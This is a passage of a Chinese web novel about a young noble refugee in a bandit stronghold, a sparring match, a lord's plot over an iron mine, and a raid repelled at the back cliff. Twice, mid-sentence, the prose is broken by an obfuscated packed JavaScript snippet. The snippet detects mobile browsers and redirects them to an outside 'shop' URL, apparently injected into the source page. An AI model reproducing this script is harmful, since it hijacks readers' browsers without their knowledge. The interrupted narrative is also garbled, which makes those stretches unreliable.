元长安托着下巴,眼睛在小街道来回扫视:“你也看见了,这些都是小店铺,顶多就是做一些日常的小买卖,供货还不多。若是遇到有其他需求或者说需求量太大的情况,还是要下山的。” “面来啦!” 元长安刚说完,老板娘端着托盘,笑着走了过来,上面放着两大碗的汤面。 元长安和陈治一人端下一碗面,陈治还对老板娘说了声谢谢。老板娘顿时喜笑颜开,“这小伙子还挺客气,不用谢,多吃点就行。你多吃点,就说明老娘我手艺好。行了,你们慢慢吃,我收拾收拾桌子板凳。” “吴婶子尽管去,我们这边又没什么事儿。”元长安说道。 陈治见吴婶子心性淳朴,就知道自己没有投靠错地方。而元长安大口吃着面,还时不时地夸赞吴婶子的手艺不是一般的好,听的吴婶子收拾桌椅的速度都快了许多。 陈治看着元长安的吃相,简直可以用狼吞虎咽来形容。说实话,他活了十六年,即使是当乞丐的时候,也没见过有人是这种吃相。 他收回自己的目光,拿起筷子,动作优雅且缓慢地吃下第一小口,面条劲道有嚼劲。他又拿起小勺盛了一勺面汤,汤汁冰凉且有酸、甜、辣三种味道。 在陈治还在细细品尝的时候,元长安将最后一口汤汁喝下肚。她打了一个饱嗝,然后用衣袖一抹嘴巴,那动作与沈让喝完水擦嘴的动作一模一样。 她看着陈治优雅的吃相,忍不住吐槽道:“你这样吃,能吃出来什么味道?” 陈治见她的碗已经见底了,脸上闪过一丝不可思议,然后自己也加快了速度。虽然他觉得自己的速度是加快了,但在元长安眼里,他不过是从一筷子夹一根面条变成了一筷子夹三根面条罢了。可以说是,毫无区别。 在元长安不知道已经回应了多少个路过面馆的行人之后,陈治终于吃完了他的那碗面。 “抱歉,是我太慢了。”陈治见元长安一直干等着自己,心里多少有些歉意。 元长安摆了摆手,道:“小事一桩,走吧,我带你去我们的练武场看看。” 其实是她自己吃饱肚子就开始手痒,想去练几下。但是又不好丢下陈治一个人不管,自己去了练武场,索性就带着他一起去。 “好。” 练武场上每个小兵都光着膀子,大汗淋漓。元长安和陈治来的时候,他们正好席地而坐,休息聊天,看到元长安来了,才站起身来,喊一声:“小元爷。” 跟在元长安身后的陈治,见她若无其事地跟着那些光着膀子的小兵打招呼说笑,他眉头紧皱,欲言又止。 元长安见他这个样子,就知道他心里在想什么。毕竟是世家公子,出身显赫,规矩繁琐。 “你出身世家,从小学的规矩怕是比我们十辈子学的规矩都要多。但是,现在到处都在打仗,在活命面前,你的那些规矩,不值一提。”说罢,元长安让小兵将自己的长生枪拿过来,她要再练练自己的枪法。 而陈治听到元长安这番话,陷入了沉思。他自诩清贵,出生在少陵陈氏,从小拜的是名臣大家,学的是君子六艺。可是,现在的他,就连活着都是靠别人施舍。 他看到练武场那个小小的身影,个子虽小,却能拿得动高出她许多的长枪。银色长枪挥舞间,如腾飞的蛟龙,招式变幻莫测。银枪一挥,如龙破城,气势恢宏。 “陈治,来练武场怎么能光看着呢。走,咱俩过两招去。”沈让突然从后面一把揽住陈治的脖子,这般熟络的姿势,很难让人相信他与陈治总共也没见过几面。 陈治被他弄得难受,但脸上还是保持着微笑,说道:“我…我只会一些骑射,拳脚功夫也学了些皮毛,还是算了吧,就不献丑了。” “没事,我教你。” 崔涯站在一旁,手里拿着小茶壶,见陈治强颜欢笑的模样,解围道:“整个寨子谁有你力气大?你的那些横冲直撞的打法,可不是谁都能会的。” 沈让被崔涯说的没了兴趣,继而松开了陈治,活动了一下筋骨,“拿我的虬龙铁锤来。” 练武台上,元长安手持长生枪,面前是手握一对虬龙铁锤的沈让。其他人都各自找好了观赏的好地方,陈治被崔涯拉着坐在刚刚小兵搬来的椅子上,正好是一块阴凉地方。 “听说陈兄是少陵陈氏?”崔涯贴心地为陈治倒了一杯凉茶,然后随口问道。 陈治双手接过崔涯倒的凉茶,颔首道:“多谢。现在哪还有什么少陵陈氏?京畿四望早在三个月前,就被郑吉和郑枫屠杀个干净了。” 京畿四望被恒、吴二王屠戮的消息,早就传遍整个晋朝九州六十六郡,想不知道都难。 “听长安说,你姓崔,乃名臣之后。可是那九年前因弹劾奸臣章伯雍,而被先皇罢官,又一夜之间被贼人灭门的崔相的那个崔?” 先帝时,朝野上下只有一个姓崔的丞相。为人正直仁善,其功德被口口相传。只可惜,被章伯雍那奸人所害,一夜灭门。 崔涯抿了一口茶水,看着练武台上有来有回,难分胜负的身影,说道:“你猜他们谁能赢?” 陈治见其不愿提及,索性就顺着他的话说道:“我觉得长安会赢。” 崔涯倒是还挺诧异的,虽然元长安确实会赢,但若是第一次见他们二人比武的人,几乎都是猜沈让会赢。毕竟他们二人的体型差就摆在那里,更何况沈让天生神力。 “为什么会觉得长安会赢?”崔涯突然来了兴趣,有了追根问底的冲动。 陈治端起茶碗,低垂着眼眸,盯着茶碗上漂浮的茶沫:“崔兄难道看不出来,长安一直在收着力。看似他们二人难分胜负,实则胜负已分。” “啪啪啪!” 崔涯看到元长安将沈让挑下练武台,直接站起身来鼓掌叫好。其他观战的小兵也纷纷应和,嘴上还着“小元爷威武”。 “陈兄眼力不错,只不过有一点陈兄说错了。” 陈治喝了一口茶水,眼神却看向练武台上与沈让交流战后感想的元长安。他放下茶碗,不经意似的问道:“哪一点?” “长安并没有收着力,她之所以在别人看来,是未使全力。是因为,长安从小体内就有毒,一种无解的毒。”说完,崔涯便快步走向练武台。 元长安刚和沈让交流完,就看到崔涯走了过来。她将长生枪丢给一旁的小兵,并接过那小兵递过来的汗巾。她一边擦着汗,一边问道:“我看你和陈怀久一直在说话,你们在说些什么?你鬼点子多,可别把人家给带坏了。” 崔涯双臂环胸,面露不悦:“我说元长安,难道我在你心里的形象就是这样的吗?” 元长安也不怵他,回怼道:“你有多无耻,我记得清清楚楚。” 元长安四岁的时候,就被崔涯骗走了沈老大送她的前齐大帅谢存的私人定制的匕首;七岁的时候,又骗走了二当家下山给她买的风味楼限时限量出售的招牌点心,一块都没给她剩下。 “四岁的小孩拿着匕首,你说安不安全?万一一个不小心,你还能活那么大?还有,你七岁的时候掉牙,而且还有蛀牙,大夫说你不能吃甜食。你非要吃,吃了牙疼的又要命,大半夜睡不着还哭。我不把点心吃了,你就等着晚上不睡觉,抱着腮帮子哭吧。” 崔涯越说,越觉得自己委屈。替她着想,还被记仇记了这么多年。 元长安仔细想了想,好像还真是这么回事。 “行吧,好像还真是。不对,你把我那把匕首骗走之后,也没见你再还给我啊?” 崔涯立马一脸无辜,仰头看了看天,又低头看了看地:“哎呀,都过去多少年了,这件事儿就过去了,别提了别提了。” 元长安嘴角忍不住抽搐,“呵呵”了一声,将擦过汗的汗巾丢到他身上,然后绕过他,走到陈治面前:“我还有事,你就自己先回去吧。” 陈治微微低头道:“我自己一个人也是可以的。” 独自一人回到住处的陈治,再次将枕头下面的玉佩拿了出来。玉佩质地温润细腻,光泽柔和纯净,上面雕刻着一只锦鲤在莲花丛中嬉戏。 “怀久,不要回头,一直往前跑!一定要活着!” 午夜梦回之时,那残酷血腥的场面就会再次浮现在他的眼前,父兄的尸首、母亲的诀别、姊妹的不屈,甚至他还看到了自己的不甘与愤恨。 ----------------- 傍晚时分,周城侯府一片寂静。 许文达的书房之内,灯火通明,还挂着一张巨大的地图,包含着晋朝九州六十六郡。而厉阳郡清风寨的位置,被红色的笔迹,重点圈了出来。 以清风寨为中心,北边是经济繁荣的临川郡,西边是恒王郑吉的势力范围之地。周城侯府位于清风寨的东边,也是三方之中离清风寨最近的。 “拿下清风寨,再北上临川郡,到那时,恒王郑吉就是我们的瓮中之鳖。” 高望是许文达的贴身幕僚,最得他的信任,也是跟随他时间最长的人之一。 而许文达却拿起书案上的毛笔,略过清风寨,在铁矿山处画了一个圈,然后一路向下,与常山王郑少华圈的封地连接在一起。 “清风寨易守难攻,是一块难啃的骨头,暂且先与他们和谈。我们现在急需铁石打造兵器,若是能拿下这座铁矿山,无疑是如虎添翼。但是这常山王郑少华,他的驻扎之地离铁矿山所在的恩济县不足二十里。若要拿下这座铁矿山,必须要拿下常山郡。” 高望看着地图上常山郡的四周,“侯爷,常山郡西南边是桂阳郡,而桂阳太守周沪生与反晋的梁仲已成盟军。若是常山王与他们结盟或者坐收渔利,等到我们发兵,周沪生和梁仲举兵北上,我军胜算不大。而且,恒王郑吉驻扎在少陵郡,对厉阳郡可谓是虎视眈眈。就怕您前脚出兵,后脚郑吉就东进厉阳郡。” 高望说的话不无道理,这也是许文达一直纠结的地方。若不打,他们的军队就缺少兵器,只能花重金购买,还不一定能买得到;若打,则前有狼,后有虎,将会陷入被动之地。 “侯爷,卑职有一计。”高望看着地图,脑子灵光一闪,就有了一个想法。 许文达将手上的毛笔放回原处,自己坐在太师椅上,靠在椅背上,“说来听听。” 高望走到那副巨大的地图前,用手指着少陵与桂阳中间的定襄郡,分析道 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142843|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' :“定襄郡被郑吉和反晋军夹在中间,处境只在他们的一念之间。若侯爷与定襄郡太守马绍宗达成结盟,一旦拿下常山郡,局势就发生逆转。少陵郡、桂阳郡皆在我们的包围之下。再加上少陵郡与定襄郡有曲河相隔,据卑职推算,现在这个时节,曲河河水湍急,不可过河。卑职想,马绍宗没有理由会拒绝侯爷伸出的援手。既如此,那常山郡与铁矿山,不就成了侯爷的囊中之物?” 许文达听到高望的主意之后,果然再次走到地图前,仔细看着常山、厉阳、定襄、少陵和桂阳四个郡的位置。他看了那么长时间的地图,竟然没发现少陵郡与定襄郡之间有一条宽阔的曲河。 曲河河面宽阔,现在这个时节,河水水流十分湍急,不易过河。 “哈哈哈哈,真是天助我也。”许文达仰天大笑,激动地给了高望一个大大的拥抱,还激动地重重拍打他的后背。“若能与马绍宗结盟,本侯就能分出一部分兵力镇守厉阳郡西部,以防郑吉东进。” 说完,他松开了高望,然后突然想到了什么,眉头一皱,脸色十分为难。 “侯爷可是在想派谁去说服马绍宗?”不愧是许文达最亲近的幕僚,最能察许文达之言,观许文达之色。“卑职倒是有一个人选。” “谁?” “薛明礼。” 许文达倒是对此人有一些印象,“扬威将军薛长鸣的弟弟?” 高望微微俯下身子,低着头:“侯爷好记性,就是他。虽说薛氏兄弟皆出身草莽,但这个薛明礼却是一个才华横溢之人。若非现如今科举被废,定能位列前二甲。” 许文达眼眸漆黑,笑容也浅了几分:“本侯竟不知,你对他这般颇加欣赏。” 闻言,高望心中一凛,面色瞬间变得苍白,然后连忙跪在地上:“卑职绝无二心。” 许文达低眸瞥了他一眼,“罢了,看在你替本侯出主意的份上,本侯允了你的推荐。但若是他搞砸了,你们二人,提头来见。下去吧。” 高望连着磕了三个响头,嘴上说着:“多谢侯爷,卑职与薛明礼定会不辱使命。” “赶紧下去吧。” “是,卑职告退。” 高望退下之后,许文达又开始研究地图上,各方势力的布局。八王封地、驻地多居东部、南部以及东南,而西部、北部和西北政权复杂,不仅有北羌、上番和山戎的势力盘踞,更是有很多手中有兵的大小首领,皆自立为王。 厉阳郡位于京畿九郡之一,北有繁荣富饶的临川郡,西有恒王驻地、世家陈氏一族的根基少陵郡,南有靠近铁矿山的常山王封地常山郡。 若要想破局而出,必须要拿下清风寨。 ----------------- 两日后,薛明礼便启程赶往定襄郡的都城平湖。 经过两天一夜,马不停蹄地赶路,薛明礼赶在下午到达定襄平湖。然而,一到平湖的薛明礼却没有第一时间赶往太守府,而是带着小厮和护从住进了离太守府最近的一家客栈。 喜财一边收拾床铺一边问道:“先生,您既然到了定襄郡,为什么不直接到太守府,和太守商议完,然后我们趁早赶回厉阳。” 薛明礼坐在窗户边,手里拿着一本书,他眼睛都没有抬一下,回道:“我自有打算,你好好收拾便是。” 喜财只好收起自己的好奇心,本本分分地为自家先生收拾好床铺,然后退下。喜财刚退下,薛明礼才将放在书页上的目光,转移到窗外的街道上,看着那人来人往。许是看得太入神,他竟然看到了一个熟悉的身影。 正当他心里一惊时,突然想到那个人已经死在了恒王的屠刀之下。 陈治的死,对他来说,是个很大的遗憾。陈治十岁那年,便写出“繁华落尽春宵短,锦衣玉食乐无边。不闻民间疾苦声,但见歌舞升平天”一诗,他真的很想拜会。 而让他认错身影的人,恰巧转过身正对着他,确实不是陈治。 “先生,该吃饭了。”门外的喜财敲了三下门,稍微放大了些声音。 薛明礼直接合上书本,“进来。” 吃过饭,薛明礼便在客栈附近溜达。就这样溜达了几日,他抓住了机会。 一日,薛明礼照例在一家茶馆听书,手边是一本《七国史策》。听到一半,旁边就坐下一位身穿青色长衫、身材高瘦的中年男子。 “公子也喜欢看《七国史策》?不知公子对闾国闾平公有何见解?”那人不见外地开口道。 薛明礼先是打量了一下来人,然后客气一笑:“既有优胜之势,乃选偏隅以安,诚为失策。” 很明显,薛明礼的回答让他面上一喜,但很快就压下了那份欣喜。“所有人都认为闾平公偏安一隅,护一国百姓周全,乃为上上之策。为何在公子口中,竟为失策?” “闾国虽弱,并且夹在冀、赵两个大国之间,能护一国百姓三百年,确实难得。但是,在闾平公在世时,冀国的国君是冀炀公。冀炀公昏庸无道,国家凋敝。若我是闾平公,一定会与赵恒公联合攻打冀国,扩张疆土。” 那人一笑:“公子之言,不过是站在后人之位,才得以言论。” 而薛明礼摇摇头道:“非也。闾昌公之时,冀国分为东冀国和西冀国。当年,东、西冀国频发战乱。武阳君马濂向闾昌公献计,与赵、东冀两国结盟,攻打西冀国。闾昌公十分赞同,派武阳君游说两国,达成盟约,三分西冀。并非在下站在后人之位谈论,而是已有前人作表率。冀国即为大国,赵国国君亦有考量。只可惜,闾国只有一个武阳君。” 那人听到薛明礼提到了武阳君,便问道:“公子对武阳君,甚是钦佩?” 薛明礼道:“武阳君才智多谋,志虑忠纯。可惜,一生为闾国大计、天下一统奔波,最后闾国却亡于商国。若武阳君看到闾国灭亡,不知会作何感想。” “与公子此番谈话,感受颇深。在下定襄郡太守马绍宗,想请公子到府上一叙,不知公子可赏光。”马绍宗站起身,对着薛明礼拱手道。 薛明礼装作吃惊的模样,也站起身来,拱手道:“草民薛明礼。既是太守大人相邀,草民怎能拒绝。” 马绍宗将薛明礼请进太守府,并且以礼相待。 “不知薛公子,在何处高就?” 薛明礼眉眼低垂,眼神低落:“出身草莽,无名无利,四处奔波。” 马绍宗倍感惋惜:“薛公子之才,竟落得此等地步,实乃沧海遗珠、明珠蒙尘。若公子不嫌弃,便在我府上,做我的私人幕僚。” 薛明礼一惊,刚坐下又立马站了起来:“大人,这……” 马绍宗站起来握着他的手,语气难掩激动:“薛公子今日的言论,句句戳中我心。实不相瞒,我乃武阳君马濂的第十一世孙。我做定襄郡太守二十三年,一无建树,二无寸进,真是给祖上丢脸。” 薛明礼抽出自己的手,朝着马绍宗拱手深躬:“没想到太守大人竟然是武阳君之后,草民钦佩武阳君之才智,亦想完成武阳君之伟业。若能跟在大人身边,也算是了却草民一愿,还望大人莫嫌弃。” 马绍宗将薛明礼扶起,“你我二人,定能如愿。” 4. 青龙寨挑事 因为在比武台上吃了亏,元长安这几天,在练武场一待就是十个时辰。 陈治有时闲来无事,就会拿着书籍去练武场,有时候看看书,有时候观看元长安练枪,还时不时地指点她一下。 不知道在陈治的第几次提醒下,元长安终于忍不住地问道:“陈怀久,你说的轻松,过来跟我过两招。” 陈治两手一摊,很是无奈道:“我没有练武的天赋,顶多会一些骑射,但也拿不出手。” “那你一直在那里指指点点的。” 陈治云淡风轻地解释道:“我这个人虽不适合练武,但生来就过目不忘,也看过不少武学书籍。我见你看似招式百样,实则归根结底都是千篇一律的招数,便指点你一番,说不定会有所突破。” 元长安也知道自己这方面的问题,但沈老大是草莽出身,他的招式都是自己编造或者实战研究出来的,然后教给沈让、崔涯和元长安。而元长安也没有真枪真刀的拼杀过,所以她找不到突破口,只能自己一遍又一遍的摸索。 元长安半信半疑道:“我暂且信你一次。” 这些天有了陈治的指点,元长安觉得自己的一些招式确实得到了完善,这样一想,她心情大好,拉着陈治请他吃面。 “长安,你干什么去?” 在路上碰到了沈让和崔涯,他们二人见元长安拽着陈治的衣袖就往前跑,而陈治在后面都快要追不上她的步伐。 元长安松开拽着陈治的手解释道:“我带陈怀久去吴婶子那里吃面,你们去不去?” 崔涯眼睛都亮了,“长安请客的话,我们肯定去。” “抠门。”元长安对他翻了一白眼,还露出很嫌弃的表情:“我请客,去不去?” “那还废什么话,走啊。” 就这样,原本是请一个人吃饭,转眼就变成请三个人吃饭。元长安感觉,自己的钱袋子又扁了。 他们四人刚走到吴婶子面馆,就碰到一队的小兵急匆匆地跑过去。沈让拦住一个小兵,问道:“你们这是干什么去?” 那小兵看到拦自己的人是沈让,直接说道:“青龙寨的人已经打到寨子门口了!” 时间回转到一个时辰前的青龙寨。 张大胡子一直对清风寨念念不忘,因为它的地势太好了。 “大哥,听周城侯府的人说,许侯爷对清风寨也是觊觎良久。若是我们替许侯爷拿下清风寨,再加上我们现在也算是周城侯府的人,说不定他一高兴,就将清风寨给了我们。到那时候,什么朝廷、什么王爷侯爷的,咱都不放在心上。毕竟清风寨它易守难攻,谁也拿咱们没办法。” 二当家又在给刘大胡子吹风上眼药,可他说的话又处处合刘大胡子的心意。所以当三当家提出反对的时候,刘大胡子理都没有理他。 三当家直接气急败坏道:“王二麻子,别以为我不知道你的那点龌龊心思。你不就是看上清风寨的吴娘子了吗?说什么替许侯爷拿下清风寨,我看你就是为了那吴娘子!” 被戳破心思的王二麻子也不恼,他扯着笑脸,露出一排大黄牙:“我确实是看上了吴娘子,也确实有私心。但我刚刚跟大哥说的那些话,句句发自肺腑,也处处为大哥着想。清风寨有地理优势,许侯爷已有招安之心。若我们帮许侯爷拿下清风寨,这更是向许侯爷表忠心。我们最先归顺许侯爷,这多年也是尽职尽责,他让打谁,我们就打谁。如果我们拿下清风寨,许侯爷不可能不卖大当家一个面子,把清风寨拱手相让。” 三当家都被他气笑了,“我说王二麻子,你是真蠢还是真笨?许侯爷之所以看上清风寨,是因为它的北边就是临川郡,往西就是恒王驻地少陵郡。拿下清风寨,许侯爷便可北上临川郡,将临川郡收入囊中,并且把少陵郡困在包围之内。你凭什么认为,许侯爷会把清风寨让给你。” 而王二麻子像是听到了一个重大消息,对刘大胡子道:“大哥,如果真如三弟说的这般。那这清风寨,我们必须拿下!” 刘大胡子低眸看着王二麻子,问道:“为何?” 王二麻子赶忙解释道:“我们拿下清风寨,就占据主动位置。许侯爷知道清风寨的重要,肯定会跟您做交易。到那时,您想要什么,他许侯爷不得都答应啊。” 刘大胡子将王二麻子的话听进去了,立马喊来山寨其他当家的,商议攻打清风寨的事情。而三当家愤愤不平地说了一句:“狂妄至极!”然后,拂袖离去。 “大哥,我看这魏老三,怕是不忠啊。”王二麻子在魏老三走后,跟刘大胡子上眼药。 刘大胡子对他也早就心生不满,“他的心,怕是早就跟着前大当家走了。” “那要不要……”王二麻子抬起手,在脖子上做了一个抹脖的动作。 但是刘大胡子却道:“寨子里还有不少他的亲信,在没有拔干净之前,先不要动他。既然他极力不赞成攻打清风寨,我们怕是人心不齐啊。” 王二麻子弯下腰,双眼微眯,有了算计:“大哥,我有一计。” 清风寨寨门前 “这个刘大胡子,真是下了血本,竟然还将他的宝贝巨弩给搬过来了。”二当家摇着羽毛扇子,站在瞭望台上,一副气定神闲的模样。 沈老大与他站在一起,俯视着山寨外集结的青龙寨的人和人前一辆巨大的弓弩车。 “沈大当家,小弟送了这么多帖子也不见沈大当家回帖,就只能亲自拜访来问一问。这不回帖,也总不至于连面都见不上吧?”刘大胡子双手抱拳,朝着清风寨的瞭望台大喊道。 沈老大双手成圆放到嘴边,回应道:“刘大当家,你这拜访还带着你的巨弩车,我这个当大哥的,还真有面子。” 刘大胡子也不气恼,笑着喊道:“这不是怕沈大当家不给小弟面子,只能拿它出来撑撑场面。” 要不说人不要脸,天下无敌。也就只有他刘大胡子,才能说出这么装无辜又颠倒是非的话来。 元长安四人紧赶慢赶终于到了瞭望台。 沈让先登上瞭望台,看到寨子外面的人和巨弩,问道:“爹,刘大胡子竟然把巨弩搬了出来,我们该怎么办?” 沈老大好像并没有把刘大胡子和巨弩放在心上,他回头看到了陈治,对他招了招手:“陈治,你上来。” 陈治很明显一愣,然后与元长安对视一眼,最后还是上了瞭望台。 “大当家。” 沈老大指着寨子外的情况,问道:“老二说你号称多智公子,那我就来问问你,这种情况你怎么看?” 面对沈老大的试探,陈治也只是微微一笑:“据我所知,现在的巨弩手艺还不成熟,最多能使用三次。我观青龙寨的那架巨弩应该是有些年头了,最多还有一次使用的机会。 今日我看青龙寨来的这些人,目测不足千人。即使有巨弩,他这不足千人的队伍,别说拿下清风寨了。就是拿下清风寨的大门都不一定。要么青龙寨的大当家就是为了耀武扬威,想让大当家知难而退。要么,他们在别的地方也有布局。” 二当家用扇子拍了拍自己的手,很满意陈治的看法,“我看他们应该是打算从后崖攻入寨子,刘大胡子和巨弩负责吸引我们的注意。” 沈老大吩咐道:“老二,你和崔涯带上弟兄们去后崖守着,一个都不能放过。” “是!” “既然来了,总得出去应应战,要不然他刘大胡子该说我清风寨没人。来人,开寨门,迎战。” 刘大胡子还真没想到沈老大竟然应战了。 元长安也想出去,却被沈让给拦住了。他说:“长安,你在这儿好好看着就行,别过去添乱了。” “沈让,让长安跟老二和崔涯去后崖守着。我听说这几天陈治一直在指导她,正好让我也看看成果。”沈老大说道。 元长安闻言,眼睛都亮了,“太好了,大当家放心,我一定能守住后崖。” “陈治一起去吧,长安杀心太重,你帮崔涯看着她点。”沈老大看着渐行渐远的元长安的背影,不放心地对身边的陈治说道。 陈治微微皱眉,一个十三岁的小姑娘,怎么可能杀心重?他见过元长安打架,顶多就是打法狠了一些,还不至于起杀心。虽然他不相信,但还是跟着去了后崖。 王二麻子和魏老三带着几百个弟兄爬到了悬崖的半腰,魏老三看了看自己周围的弟兄们,他们都是跟着自己出生入死的兄弟。又看了看爬在弟兄最后面的王二麻子,心中不祥的预感越发严重。 他不明白为什么刘大胡子要让自己带着王二麻子和自己的亲兵攀爬清风寨的后崖。清风寨的后崖陡峭险峻,攀爬风险大,一旦被清风寨的人发现,他们必死无疑。还有,王二麻子胆小怕死,这次竟然愿意跟着他们一起爬悬崖,真的是让人琢磨不透。 继续往上爬,突然一块大石头从天而降,砸中了他们的一个弟兄。只听见他的惨叫声,由近到远,直到听不见。 紧接着,一块块石头再次袭来,魏老三一边躲着石头的攻击,一边大喊道:“快躲开!” 说时迟那时快,大石头接二连三地将他的弟兄们砸落崖底,粉身碎骨。 魏老三又躲过了一块石头,可是那个石头却正巧砸中他身后的弟兄,而他只能眼睁睁地看着他的兄弟就这样掉下去。 刚开始攀爬的弟兄共有三百人,好不容易爬上了地面,也仅剩下不到二百人。魏老三见他们都爬了上来,王二麻子还没有跟上,心中已经有了答案。 魏老三不再管他,带着剩下的弟兄们顺着小路,向清风寨内部摸去。走了大概一柱香的时间,一块横放的大石头拦住了他们的去路。 “呦,终于爬上来了。” 元长安躺在那块平滑的大石头上,翘着二郎腿,嘴里叼着狗尾巴草,旁边还立着一把长枪。 魏老三从背后拔出自己的大刀,刀尖正对着元长安:“小姑娘,我念你岁数小,还是不要别管闲事。” 元长安将嘴里的狗尾巴草望地上一吐,一个转身坐了起来,她的一只脚踩着石面,一只脚耷拉在半空。“可惜,我这个人平生最好多管闲事。” “那就别怪我们不客气了!兄弟们,给我上!” 魏老三一声令下,众人一拥而上。元长安跳下大石头,抬腿踢向长枪,长枪悬空被她握在手中,一整个动作行云流水。 崔涯带着清风寨的人从魏老三等人的后面杀了出来,“杀!” 陈治躲在一棵大树的后面,毕竟他只会些三脚猫的功夫,还是别添乱了。但是,他看到爬上地面仅这些人的时候,立马感觉到不对劲。 如果青龙寨派人从后崖攻入,即使他们早做防备,朝悬崖丢石头,也不可能只剩下这么些人。 除非,螳螂捕蝉,黄雀在后。 元长安手持长枪,狠狠地刺向对方的胸口,刺穿了他的身体,鲜红的血液自枪尖向下流。然后她将尸体抛向正要围攻她的人,将他们砸倒在地。 一杆长枪,划破虚空。 崔涯手持利剑,配合着元长安。他身手矫健,剑锋刺破皮肉,然后抹了一人的脖子。 魏老三自知不敌,却没有了退路,只能死磕到底。他连砍几人,瞅准机会,猛然向元长安冲了过去。他身边的兄弟们为他掩护,扫清障碍。 元长安背对着魏老三,且注意力全在与她相搏的几个人身上,等她注意到的时候,魏老三已经离她不到五步。 就在这时,一块石子正中魏老三的后脑勺,让他有了停顿。元长安趁此机会,一枪解决掉与她纠缠的人,直奔魏老三。魏老三反应极快,堪堪躲过了元长安的一枪。 陈治没想到自己的准头,还是没变,一击命中。 元长安手中的长枪,犹如毒蛇吐信子,出枪的速度极快,在空中划出几道残影。魏老三一个躲闪不及,被刺中了左臂,鲜血顿时流了出来,染红了地面。 魏老三见兄弟们损失惨重,又被清风寨的人团团包围,便知刘大胡子容不下他和他的兄弟们。他放下手中的刀,举起了没有受伤的那只手,表示投降。 其他人见魏老三已经放下了武器,还举手投降,顿时面面相觑,不知道该怎么做。 “把兵器放下!”魏老三呵斥道。 那些被他带出来的弟兄们纷纷放下武器,举双手投降。 崔涯派几个人收了他们的兵器,并将他们绑了起来。刚准备松一口气,就听到了略显刺耳的声音。 “大哥早就知道你魏老三是个贪生怕死的,没想到竟然投降清风寨!兄弟们,大哥有令,攻入清风寨,有赏银!投降者,格杀勿论!” 王二麻子的突然出现,让魏老三更加确定,他们成了刘大胡子攻打清风寨的活靶子。 面对突然出现的王二麻子以及他所率领的几百人,元长安、崔涯和陈治都没有想到。 王二麻子还在得意的时候,二当家的率一干弟兄从后面包抄过来。 “早就算准了你们会分两批上来,真是让我们好等。” 陈治这才想到,二当家带着一干弟兄在悬崖边上扔石头。魏老三已经带人爬上了地面,他和那些弟兄们却没有现身。原来,他们是一直再等着青龙寨另一波人上来。 “兄弟们,杀!” 陈治和几个弟兄看着魏老三等人,以防他们出现问题。 王二麻子早就看魏老三不顺眼,他有意无意地朝着陈治和魏老三的方向挪动。然后,他看准了时机,转身砍向魏老三,却被陈治挡住了。 “你找死!” 王二麻子见有人坏他好事,恼羞成怒,对着陈治就是猛砍几刀。 陈治连挡他好几刀,手臂震的发麻,手中的剑也脱手而出。就在这千钧一发之际,元长安一个飞枪,刺穿王二麻子的身体,他高高举着的砍刀掉落在地,眼睛瞪得很大,不可置信地低下头看了一眼从身后刺出的枪尖,永远地闭上了眼睛。 王二麻子的血溅了陈治一身,下半张脸也有几点血渍。 而元长安枪脱手的瞬间,被人从身后砍了一刀。崔涯离她最近,一脚将那人踹倒在地,一把扶住身形不稳的元长安。 “长安!” “长安!” 元长安却一把夺过崔涯手里的剑,眼珠发红,带着杀气:“我弄不死你!” 说完,提剑只刺那人的胸口,剑身刺进身体的瞬间,元长安转动剑柄,硬生生将伤口转了一个圈。 紧接着,元长安撑着一口气,连砍带刺,杀了三个人,六人受伤。 最后,还是被崔涯打晕才停止了发疯。 这时候,陈治才终于体会到沈老大为什么会说元长安杀心太重。 直到元长安被崔涯抱走之后,陈治才反应过来。因为王二麻子已死,很快二当家就控制了局面。 ----------------- “长安怎么受了那么重的伤?” 张嫂带着一个看起来年岁不大的小药童,火急火燎地赶到。她看着元长安背后那道深到见骨的伤口,说道:“伤口太深,必须马上缝合。” 崔涯眼眶泛红,脸上难以掩饰的表情,说明他现在心急如焚。“好,嫂子你赶紧缝合,有什么需要的吗?” 张嫂一边用烛火烧着针,一边说道:“你只管按着她的手,别让她乱动就行。” 正好,陈治也闯了进来,他下意识地转过头,但是转念一想,又将头转了回来,只是低垂着眸子:“需要我做什么吗?” 张嫂指着一块折叠好的手巾,说:“把这个塞到她嘴里。” 陈治走上前,将手巾轻柔地放到元长安的嘴里,然后和崔涯一起,一人一只手按着。低头的时候,陈治看到了元长安又深又长的伤口,内心十分不安,毕竟她也是为了救自己。 第一针的时候,元长安便被巨痛刺激醒了。 “唔!”元长安额头冒着豆大的汗珠,脸色煞白,五官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142844|150174||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 揉成一团。 陈治见她叫完第一声之后,就咬着手巾强忍着后背剧烈的疼痛。她的双手紧握,可以明显地看到手背的青筋。陈治感觉自己都快按不住她了,可以想象现在的元长安到底有多痛。 陈治看着那钢针一针又一针的穿破皮肉,缝合伤口,他突然想到自己阿姊十岁的时候,不小心撞在木桌上,身边的丫鬟嬷嬷围着她转,第二天木桌子也会在陈府消失。 时间在一点一点的过去,元长安也终于没有挺过巨痛,晕了过去。 “你们出去吧,我给长安裹上纱布。”张嫂擦了擦额头上的汗,说道。 崔涯连连应道:“好的嫂子。” 陈治跟着崔涯出去了,还不忘把门带上。 等到张嫂出来的时候,门外就只有陈治一个人。她问道:“崔涯呢?” 陈治解释道:“和小药童去东山采药去了。” 